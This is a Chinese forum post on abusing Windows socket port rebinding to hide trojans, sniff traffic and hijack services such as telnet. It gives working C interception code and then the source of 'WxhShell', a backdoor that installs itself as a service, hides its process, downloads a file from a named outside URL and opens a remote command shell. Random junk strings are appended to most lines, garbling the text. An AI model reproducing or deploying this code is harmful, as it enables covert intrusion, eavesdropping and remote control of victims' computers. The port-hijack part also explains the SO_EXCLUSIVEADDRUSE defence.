社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10083阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %jJ|4\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =&I9d;7  
IOT-R!.5V  
  saddr.sin_family = AF_INET; 4$+1&+@ ]  
`?G&w.Vs  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J'C9}7G  
;-AC}jG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); XR_Gsb%l  
46##(4RF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tj4/x7!  
|=js!R|  
  这意味着什么?意味着可以进行如下的攻击: Ozg,6&3ji  
C2{*m{ D  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 fSVb.MZa7  
_9C,N2a{C  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) B~B,L*kC2  
(YM2Cv{4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6Ts[NXa  
}jg 1..)"<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  N*+L'bO  
[vqf hpz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;ObrBN,Fu  
F0kdwN4;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z4oD6k5oc  
+rJDDIb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7M)<Sv  
E#R1  
  #include hg2Ywzfm-  
  #include [}HS[($  
  #include ik#ti=.  
  #include    ot0g@q[3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5PsjGvm.%  
  int main() n^|SN9 _r  
  { l >~Rzw  
  WORD wVersionRequested; ^8KxU  
  DWORD ret;  SQ&}18Z~  
  WSADATA wsaData; )#8}xAjV  
  BOOL val; [y~kF?a  
  SOCKADDR_IN saddr; L*OG2liJ  
  SOCKADDR_IN scaddr; ,BFw-A  
  int err; xX|f{)<  
  SOCKET s; 8<Pi}RH  
  SOCKET sc; ~b @"ir+g4  
  int caddsize; Z((e-T#,  
  HANDLE mt; *q"1I9zvT  
  DWORD tid;   G.r .Z0  
  wVersionRequested = MAKEWORD( 2, 2 ); gO{$p q}  
  err = WSAStartup( wVersionRequested, &wsaData ); Dn)B19b  
  if ( err != 0 ) { B@v (ZY  
  printf("error!WSAStartup failed!\n"); 85e*um^  
  return -1; ZUD{V  
  } P?^%i  
  saddr.sin_family = AF_INET; =ld!=II  
   $_3 )m  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6"?#E[ #[  
X .sOZb?$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g&{CEfw&  
  saddr.sin_port = htons(23); m>|7&l_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k[)/,1  
  { d3\KUR^  
  printf("error!socket failed!\n"); BiDyr  
  return -1; 4V c``Um  
  } O`$\P lt|v  
  val = TRUE; +koW3>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 PjofW%7F  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |qVM`,%L  
  { K4 -_a{)/  
  printf("error!setsockopt failed!\n"); 0"Euf41  
  return -1; cc3/XBo  
  } w/:ibG@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [)?9|yY"`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J:J/AgJuH  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zJ$U5r/u  
<,Pl31g^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l[i1,4  
  { %g^:0me`  
  ret=GetLastError(); }t:* w  
  printf("error!bind failed!\n"); 1:Ff#Eq,s  
  return -1; 5{WvV%  
  } U_hzSf  
  listen(s,2); J\>/ J%  
  while(1) nBLb1T  
  { AQ0zsy  
  caddsize = sizeof(scaddr); ej7L-~lxQ  
  //接受连接请求 zKI1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n1aOpz6`  
  if(sc!=INVALID_SOCKET) JP(0/?Q  
  { | #b/EA9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); QyY<Zi;6  
  if(mt==NULL) sgnc$x"  
  { _8ks`O#}  
  printf("Thread Creat Failed!\n"); nN^lY=3  
  break; unNN&m#@  
  } =**Q\ Sl  
  } %%#bTyF  
  CloseHandle(mt); ;.<HpDfG_  
  } ZmycK:f  
  closesocket(s); Jz*A!Li  
  WSACleanup(); |Qb@.  
  return 0; xj9xUun  
  }   8Q"1I7U  
  DWORD WINAPI ClientThread(LPVOID lpParam) acgx')!c  
  { E^A!k=>  
  SOCKET ss = (SOCKET)lpParam; >vR2K^  
  SOCKET sc; +~* e B  
  unsigned char buf[4096]; of GoaH*h  
  SOCKADDR_IN saddr; 3[m2F O,Z  
  long num; =GW[UnO  
  DWORD val; lon9oraF'  
  DWORD ret; -r]L MQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2Q7X"ek~[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   a]Y9;(  
  saddr.sin_family = AF_INET; 2<@g *  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }: u-l3e  
  saddr.sin_port = htons(23); ?G<?: /CU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B&BL<X r  
  { rVRv*W  
  printf("error!socket failed!\n");  D F=Rd#  
  return -1; |DPq~l(d  
  } ms\\R@R  
  val = 100; =(Y0wZP|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jW4>WDN:  
  { ^N7 C/" p  
  ret = GetLastError(); *=!r|UdB.  
  return -1; ]g }5p4*&  
  } )=bW\=[8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  (^B=>  
  { ]rNxvFN*j  
  ret = GetLastError(); lgD %  
  return -1; t @a&&  
  } | +uc;[`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) th<>%e}5c  
  { HV7f%U  
  printf("error!socket connect failed!\n"); T\ukJ25!  
  closesocket(sc); +JM@kdE5b  
  closesocket(ss); "!fwIEG  
  return -1; Ed{sC[j=  
  } C rl:v8  
  while(1) ^QG<_Dm]  
  { aR'~=t&;z1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /d/]#T[Z9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i2;,\FI@t%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Vg :''!4t2  
  num = recv(ss,buf,4096,0); 'NCx<0*  
  if(num>0) ]=]MJ3_7  
  send(sc,buf,num,0); ;j[:tt\k  
  else if(num==0) M;NIcM  
  break; s?&S<k-=fr  
  num = recv(sc,buf,4096,0); Xy`'h5  
  if(num>0) R3LIN-g(  
  send(ss,buf,num,0); :zvAlt'q=  
  else if(num==0) ^<uQ9p^B  
  break; V]"pM]>3X  
  } Z }Q/u^Z  
  closesocket(ss); a;nYR5f  
  closesocket(sc); U[OUIXUi  
  return 0 ; %o0H#7'  
  } YfMs~}h,  
ue4 {h  
t<$J 3h/"  
========================================================== ;O 5Iu  
e p Dp*  
下边附上一个代码,,WXhSHELL Twr,O;*u=  
Kb-m  
========================================================== W^S]"N0u  
VR A+p?7-  
#include "stdafx.h" A/fM30  
Pj_DI)^  
#include <stdio.h> f^F"e'1  
#include <string.h> SQ]M"&\{y  
#include <windows.h> sIl&\g<b  
#include <winsock2.h> h(3-/4  
#include <winsvc.h> 4L4u<  
#include <urlmon.h> lz1cLl m  
 -)KNsW  
#pragma comment (lib, "Ws2_32.lib") opu)9]`z  
#pragma comment (lib, "urlmon.lib") 1jAuW~  
eNM"e-  
#define MAX_USER   100 // 最大客户端连接数 =UWW(^M#[:  
#define BUF_SOCK   200 // sock buffer {sj{3Iu  
#define KEY_BUFF   255 // 输入 buffer )]<^*b>  
hJw]hVYa  
#define REBOOT     0   // 重启 &OEBAtc/  
#define SHUTDOWN   1   // 关机 {ot6ssT=D  
=<zlg~i  
#define DEF_PORT   5000 // 监听端口 "(kiMo g-  
L|1~'Fz#w  
#define REG_LEN     16   // 注册表键长度 tL1\q Qg  
#define SVC_LEN     80   // NT服务名长度 yS[HYq  
Ij XxH]2  
// 从dll定义API ,_D@ggL-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B<$6Dj%L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -%K}~4J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &%k_BdlkQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y% @;\  
L `=*Pwcj  
// wxhshell配置信息 BQeg-M  
struct WSCFG { T!pZj_ h=  
  int ws_port;         // 监听端口 'aEN(Mdz1e  
  char ws_passstr[REG_LEN]; // 口令 L'"c;FF02i  
  int ws_autoins;       // 安装标记, 1=yes 0=no x&m(h1h  
  char ws_regname[REG_LEN]; // 注册表键名 #e[r0f?U  
  char ws_svcname[REG_LEN]; // 服务名 ,9ew75Jl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r(_Fr#Qn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 * kUb[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5lM 3In@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d-W*`:Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /[ Rp~YzW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gp H@F X  
H`Zg-j`  
}; Bsd~_y}8  
%.Kr`#lCr  
// default Wxhshell configuration ]@}hyM[D;  
struct WSCFG wscfg={DEF_PORT, TC@F*B;  
    "xuhuanlingzhe", sEZ2DnDI  
    1, |?MD>Pez  
    "Wxhshell", #SjCKQ~  
    "Wxhshell", De>,i%`Q,D  
            "WxhShell Service", "GJ.`Hj  
    "Wrsky Windows CmdShell Service", YB^m!A),I[  
    "Please Input Your Password: ", 6lkCLH  
  1, "-AFWWKtx  
  "http://www.wrsky.com/wxhshell.exe", 1|>bG#|  
  "Wxhshell.exe" f 9IqcCSW  
    }; Gc5mR9pV   
g?Rq .py]!  
// 消息定义模块 YhooD,[.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  p1&=D%/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ; vWJOvM2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {~(XO@;b  
char *msg_ws_ext="\n\rExit."; -rHqU|  
char *msg_ws_end="\n\rQuit."; *#@{&Q(Qh  
char *msg_ws_boot="\n\rReboot..."; ,:V[H8 ?  
char *msg_ws_poff="\n\rShutdown..."; $YJi]:3&  
char *msg_ws_down="\n\rSave to "; wsc=6/#u  
3vQVk  
char *msg_ws_err="\n\rErr!"; m")p]B&i=  
char *msg_ws_ok="\n\rOK!"; M-F{I%Vx  
KF!d?  
char ExeFile[MAX_PATH]; AI,E9  
int nUser = 0; 300[2}Y]  
HANDLE handles[MAX_USER]; Gf9O\wrs  
int OsIsNt; W3^^aD-  
o"A?Aq  
SERVICE_STATUS       serviceStatus; Wg8*;dvtM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kKDf%=  
_. EM])b  
// 函数声明 Y;dqrA>@  
int Install(void); ]~ S zb  
int Uninstall(void); nf:wJ-;*  
int DownloadFile(char *sURL, SOCKET wsh); rg]z  
int Boot(int flag); !.4q{YWcYk  
void HideProc(void); J@IKXhb7_  
int GetOsVer(void); *xKy^f  
int Wxhshell(SOCKET wsl); hQvI}  
void TalkWithClient(void *cs); V{\1qg{  
int CmdShell(SOCKET sock); NpbZt;%t  
int StartFromService(void); fl4'dv  
int StartWxhshell(LPSTR lpCmdLine); R4zOiBi'B  
`}a-prT<f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u%OLXb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gh `_{l  
ofgNL .u  
// 数据结构和表定义 bhfKhXh8  
SERVICE_TABLE_ENTRY DispatchTable[] = \`-xxhb?e  
{ ;rnhv:Iw  
{wscfg.ws_svcname, NTServiceMain}, b'ir$RL] c  
{NULL, NULL} 3u s^\w#  
}; `dl^)4J  
>{Xyl):  
// 自我安装 @B?'Mu*  
int Install(void) F+W{R+6  
{ CE| *&G  
  char svExeFile[MAX_PATH]; ^.*zBrFx  
  HKEY key; 8hSw4S "$  
  strcpy(svExeFile,ExeFile); xsvJjs;=  
V,?])=Ax  
// 如果是win9x系统,修改注册表设为自启动 9tmnx')_  
if(!OsIsNt) { GK3cQw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?]+! gz1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >J:liB|(  
  RegCloseKey(key); 8zjJshE/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b/E3Kse?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *h pS/g/3\  
  RegCloseKey(key); muhu` k`C  
  return 0; -f?,%6(1  
    } 1].m4vC  
  } /NuO>kQa  
} k? ,/om1  
else { 6.|[;>Km  
.5A .[ZY)  
// 如果是NT以上系统,安装为系统服务 C0ORB p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "od 2i\  
if (schSCManager!=0) RS2uk 7MB  
{ bY~V?yNgKM  
  SC_HANDLE schService = CreateService  DD[<J:6  
  ( I-Am9\   
  schSCManager, w.+G+ r=  
  wscfg.ws_svcname,  KcpQ[6\  
  wscfg.ws_svcdisp, S&Hgr_/}c  
  SERVICE_ALL_ACCESS, YjPj#57+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]L3MIaO2T  
  SERVICE_AUTO_START, 3,Iu!KB  
  SERVICE_ERROR_NORMAL, Odw9]`,T  
  svExeFile, }1.'2.<Y  
  NULL, xlc2,L;i  
  NULL, O6">Io5  
  NULL, :1v.Jk  
  NULL, /38XaKc{6  
  NULL y3P4]sq  
  ); mKUm*m#<R  
  if (schService!=0) jm'^>p,9G  
  { }z2[w@M  
  CloseServiceHandle(schService); VLfKN)g  
  CloseServiceHandle(schSCManager); <EY{goW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Pa?C-Xn^  
  strcat(svExeFile,wscfg.ws_svcname); meGL T/   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CWb*bw0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /HdjPxH  
  RegCloseKey(key); fW=eB'Sl  
  return 0; 7IrH(~Fo  
    } d9l2mJzW  
  } bu=RU  
  CloseServiceHandle(schSCManager); vu:] [2"0  
} m.lzkS]P  
} z0&Y_Up+5  
,y}~rYsP%  
return 1; \Y6r !D9  
} 6yC4rX!a  
0aJcX)  
// 自我卸载 f7;<jj;w7  
int Uninstall(void) #W4 "^#2  
{ '{)Jhl47   
  HKEY key; iAt&927  
p ^)3p5w  
if(!OsIsNt) { q-/t?m0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9vCCE[9  
  RegDeleteValue(key,wscfg.ws_regname); P]2V~I/X  
  RegCloseKey(key); WfYG#!}x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l;B  
  RegDeleteValue(key,wscfg.ws_regname); `(E$-m-~jH  
  RegCloseKey(key); ,G[Y< ~Hy  
  return 0; a&7uRR26  
  }  _ Ewkb  
} &7r a  
} TK0W=&6#A  
else { OMBH[_  
\Qf2:[-V0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W< $!H V$  
if (schSCManager!=0) |FSp`P  
{ F'T.-lEO_d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X3?RwN:P  
  if (schService!=0) Zb:Z,O(vn  
  { D[Q/:_2l  
  if(DeleteService(schService)!=0) { COHook(:  
  CloseServiceHandle(schService); /-+hMYe  
  CloseServiceHandle(schSCManager); 7j88^59  
  return 0; Z,V<&9a;  
  } K87yQOjPv  
  CloseServiceHandle(schService); F?qg?1v B|  
  } ?. Ip(g  
  CloseServiceHandle(schSCManager); *JZlG%z  
} fm!\**Q1  
} |OuIQhoE  
_ER. AKY  
return 1; `A-  
} JoD@e[(  
[$#G|>x  
// 从指定url下载文件 u-QHV1H`(  
int DownloadFile(char *sURL, SOCKET wsh) 6MLjU1  
{ ( k_9<Yb3  
  HRESULT hr; kM(m$Oo.  
char seps[]= "/"; )4> 7X)j>  
char *token; hoLA*v2<  
char *file; t/l<X]o  
char myURL[MAX_PATH]; P(a}OlG  
char myFILE[MAX_PATH]; %D~Mij  
R \]C;@J<  
strcpy(myURL,sURL); \9`.jB~<  
  token=strtok(myURL,seps); FrE#l.)?!  
  while(token!=NULL) !'B='].  
  { \u;`Lf  
    file=token; 3 rR1/\  
  token=strtok(NULL,seps); `$q0fTz  
  } qqys`.  
7y_<BCx h  
GetCurrentDirectory(MAX_PATH,myFILE); \ _?d?:#RD  
strcat(myFILE, "\\"); T1'\!6_5  
strcat(myFILE, file); 5=R]1YI~$  
  send(wsh,myFILE,strlen(myFILE),0);  GInw7  
send(wsh,"...",3,0); ZZi|0dG4;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EK&0Cn3z  
  if(hr==S_OK) +k[w)7Q  
return 0; ls~9qkAyLx  
else #)3 B  
return 1; "2p\/VfA  
~YByyJG   
} p|@#IoA/e  
N|3#pHm@  
// 系统电源模块 }Kn l  
int Boot(int flag) 7k00lKA\w  
{ {qOqtkj  
  HANDLE hToken; CyXaHO  
  TOKEN_PRIVILEGES tkp; }Yc5U,A;  
P'DcNMdw  
  if(OsIsNt) { DO( 3hIj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mu5r4W47  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HJP~ lg  
    tkp.PrivilegeCount = 1; |dDKO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZT8LMPC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X~SNkM  
if(flag==REBOOT) { "oyBF CW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \xcf<y3_  
  return 0; KP7 {  
} wuW{ 2+)B  
else { 8H`L8: CM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  V^rL  
  return 0; 5=%KK3  
} iio-RT?!  
  } Kmw #Q`  
  else { .Lu3LVS  
if(flag==REBOOT) { *z.rOY= 8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EY:H\4)  
  return 0; p}5413z5Z=  
} SpYmgL?wJ  
else { FZIC |uz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Zxozhmg  
  return 0; ZOpKi:\  
} $?dQ^]<,  
} sZ;Gb^{Z  
XVJH>Zw  
return 1; X(\L1N  
} e m0 hTxb  
7_jlNr7uk  
// win9x进程隐藏模块 pMAP/..+2  
void HideProc(void) /Z,hQ>/  
{ *aFY+.;U`  
f^ZhFu?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pM}~/  
  if ( hKernel != NULL ) 7B\Q5fLQ  
  { $15H_X*!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "_&c[VptWi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xGOVMo +  
    FreeLibrary(hKernel); !IA\c(c^  
  } .!Kqcz% A  
\CV HtV  
return; Xo&\~b#-  
} cbs ;  
adAdX;@e`  
// 获取操作系统版本 $R NHRA.  
int GetOsVer(void) F ^aD#  
{ Tku6X/LF  
  OSVERSIONINFO winfo; g"(@+\XZH"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =\oL'>q  
  GetVersionEx(&winfo); #dD0vYT&od  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %QEyvl4  
  return 1; L]u^$=rI  
  else P}qpy\/(4  
  return 0; _:WNk(  
} x+;y0`oL  
=N8_S$nx(  
// 客户端句柄模块 FOsxId[f9  
int Wxhshell(SOCKET wsl) YDj5+'y  
{ Jb^{o+s53  
  SOCKET wsh; 29VX-45  
  struct sockaddr_in client; xplV6q`  
  DWORD myID; Wq"-T.i  
/oLY\>pD  
  while(nUser<MAX_USER) MLg{Y?@  
{ _[-W*,xJ)  
  int nSize=sizeof(client); xR|^{y9n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O&yAFiCd  
  if(wsh==INVALID_SOCKET) return 1; K]G(u"'  
ezCJq`b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \=]`X2Ld  
if(handles[nUser]==0) ~8"oH5  
  closesocket(wsh); 6,MQT,F  
else C&R U  
  nUser++; oveK;\7/m  
  } 9q 2 vT^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *Ms"{+C  
ICr.Gwe3_  
  return 0; 6}!1a?X  
} nMfR< %r  
}6<5mq)%  
// 关闭 socket [u37 Hy_Gi  
void CloseIt(SOCKET wsh) I%GQ3D"=  
{ )9[u*|+  
closesocket(wsh); )tnbl"0  
nUser--; 4y?n62N8$  
ExitThread(0); C/#pK2xY  
} c:&8B/  
\7>*ULP  
// 客户端请求句柄 S'kgpF"bm  
void TalkWithClient(void *cs) O`"~AY&  
{ +!E9$U>6%  
Zq<j}vVJ  
  SOCKET wsh=(SOCKET)cs; 0a^bAEP  
  char pwd[SVC_LEN]; |WEl5bNc3  
  char cmd[KEY_BUFF]; X!mJUDzh]  
char chr[1]; u[Si=)`VPk  
int i,j; `JpFqZ'58  
6vR6=@(`>  
  while (nUser < MAX_USER) { hayJgkZ '  
}!R*Q`m  
if(wscfg.ws_passstr) { -2>s#/%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o 9/,@Ri\5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '`. -75T  
  //ZeroMemory(pwd,KEY_BUFF); v9Sk\9}S  
      i=0; 32?'jRN(ue  
  while(i<SVC_LEN) { / o I 4&W  
1X5Yp|Ho  
  // 设置超时 NsSZ?ky  
  fd_set FdRead; l|E4 7@#  
  struct timeval TimeOut; >]ZE<.  
  FD_ZERO(&FdRead); P}UxA!  
  FD_SET(wsh,&FdRead); N3aqNRwlk  
  TimeOut.tv_sec=8; N N1}P'6Ha  
  TimeOut.tv_usec=0; D7JrGaF{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $u'"C|>8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oz)4YBf  
Z]oGE@! n"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mH0OW  
  pwd=chr[0]; W=w]`'  
  if(chr[0]==0xd || chr[0]==0xa) { s%`l>#H  
  pwd=0; VHMQY*lk  
  break; 0Xw>_#Y/xS  
  } 1[u{y{9 q  
  i++; !<HMMf,-D  
    } SQn.`0HT  
[fV"tf;  
  // 如果是非法用户,关闭 socket M j6,VD9L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (a8iCci:   
} 2[uFAgf@  
1'Q6l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); REE .8_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !ehjLFS?_  
1iLo$  
while(1) { 2IRARZ,3  
?[m1?  
  ZeroMemory(cmd,KEY_BUFF); AWx@Z7\z"g  
k{{3nenAG  
      // 自动支持客户端 telnet标准   {FKr^)g  
  j=0; *fI n<Cc  
  while(j<KEY_BUFF) { 6w;`A9G[YI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zow8 Q6f  
  cmd[j]=chr[0]; V| kN 1 A  
  if(chr[0]==0xa || chr[0]==0xd) { &]RE 5!  
  cmd[j]=0; ")\V  
  break; X' 5R4j  
  } IF5-@hag,  
  j++; C$~ly=@  
    } 1Q!^*D  
2EZ7Vdz2  
  // 下载文件 n7K%lj-.P  
  if(strstr(cmd,"http://")) { 0F%8d@Y2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d=%NFCIV  
  if(DownloadFile(cmd,wsh)) `iM%R3&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l&U$L N$*e  
  else 8 b~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SO(BkxV@  
  } +h+ 7Q'k  
  else { tP*Kt'4W  
8>#ZU]cG  
    switch(cmd[0]) { G dNhEv  
  rf4f'cUa  
  // 帮助 gj @9(dk%  
  case '?': { cnQ2/ZZp~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3~Fag1Hp  
    break; .Y]0gi8z  
  } UE"v+GH  
  // 安装 ksOsJ~3)  
  case 'i': { OZ e&p  
    if(Install())  c1s&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1.3dy]vG  
    else y$]<m+1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /7Pqy2sgE  
    break; xatq  
    } lGWz  
  // 卸载 U'(zKqC   
  case 'r': { H@G$K@L  
    if(Uninstall()) 'G>XI;g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L@s6u +uu  
    else w)zJ $l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); em3+V  
    break; Y * rujn{  
    } b3R( O|  
  // 显示 wxhshell 所在路径 df@NV Ld  
  case 'p': { eT3!"+p-F  
    char svExeFile[MAX_PATH]; [>54?4{|.  
    strcpy(svExeFile,"\n\r"); 3 mAizq3  
      strcat(svExeFile,ExeFile); 0>td[f  
        send(wsh,svExeFile,strlen(svExeFile),0); I AwS39B  
    break; a`%`9GD  
    } d/OP+yzgZ  
  // 重启 e3TKQ (  
  case 'b': { -"JmQ Fha  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?Ce=h+l  
    if(Boot(REBOOT)) vu^mLc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !(?7V  
    else { )AkBo  
